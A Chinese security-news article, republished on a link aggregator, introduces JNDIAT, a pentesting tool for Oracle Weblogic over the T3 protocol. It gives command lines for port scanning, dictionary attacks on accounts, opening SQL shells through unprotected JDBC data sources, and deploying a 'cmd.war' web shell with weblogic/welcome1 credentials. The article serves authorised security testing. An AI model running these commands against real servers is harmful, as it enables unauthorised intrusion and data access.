85

Jndiat:通过T3协议攻击Weblogic服务器

 5 years ago
source link: https://www.freebuf.com/sectool/188697.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

JNDIAT(JNDI攻击工具)是一款开源的通过T3协议测试Weblogic server安全性的工具。

JNDIAT使用示例:

搜索是否有可通过T3协议访问的Weblogic端口;

远程搜索有效帐户以获取特权连接;

列出可访问的JNDI(Java命名和目录接口),以了解你在远程Weblogic server上可以做执行的操作(无需/使用WebLogic帐户);

使用不受保护的(即“public”)JDBC数据源,来获取远程交互式SQL shell;

在Weblogic server上部署应用(例如War)以获取Web shell(需要帐户)。

*已在Oracle Weblogic 11上进行测试。

特性

同时支持T3和T3(T3 over SSL)连接。JNDIAT会创建一个本地临时Java KeyStore来验证Weblogic server的证书;

支持使用空凭证进行身份验证,即login=” and password=”。 默认情况下,在Weblogic中公共JDBC数据源可以与空帐户一起使用(已在version11上测试);

如果weblogic在域中,则支持targets;

检测可通过T3协议访问的端口;

通过字典攻击查找有效凭据;

获取可通过特定帐户(或无帐户)访问的JNDI列表;

通过JDBC数据源获取远程sql shell;

使用特权帐户,你可以在weblogic服务器上部署应用程序获取Web shell。

使用示例

下载安装最新版本的jndiat: https://github.com/quentinhardy/jndiat/releases

查看帮助

java -jar Jndiat.jar -h

JNDIAT 版本

java -jar Jndiat.jar --version

端口扫描

该模块用于扫描可通过T3(或T3)协议访问的端口,获取JNDI列表。

使用7001端口建立一个T3连接:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001

扫描7001和7002端口:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'

扫描7001到7010之间的端口:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'

JNDIs列表

该模块用于获取通过T3协议可访问的JNDI列表。此模块非常有用,可以让你知道某些JNDI是否可以在不进行身份验证的情况下访问(例如:“public”JDBC数据源)。

获取192.168.56.101服务器7001端口可访问的JNDIs:

java -jar Jndiat.jar list -s 192.168.56.101 -p 7001

如果未在命令中指定凭据,则JNDIAT将为我们返回无需身份验证即可访问的JNDI。如果你知道有效凭据,则可以使用它来获取更多的JNDI:

java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password

JDBC数据源

此模块允许你通过JDBC数据源获取远程SQL shell。

从JNDI数据源获取交互式SQL shell:

java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell

JNDIAT将会询问你所使用的JDBC数据源。如果你知道数据源名称,则可以进行指定:

java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'

部署应用

该模块允许你通过T3协议在远程Weblogic server中部署应用程序(例如.war,.ear)。要使用此模块,你可能需要有高权限(一个帐户那是必须的)。

以下命令将在远程Weblogic server上部署“cmd.war”应用:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file cmd.war

从远程weblogic server取消部署先前的war(’cmd.war’)应用:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy

使用–display-name选项更改weblogic server上部署的应用程序名称:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file 'cmd.war' --display-name 'appli-name-displayed'

取消部署名为appli-name-display的特定应用程序:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy --display-name 'appli-name-displayed'

*参考来源: GitHub ,FB小编secist编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK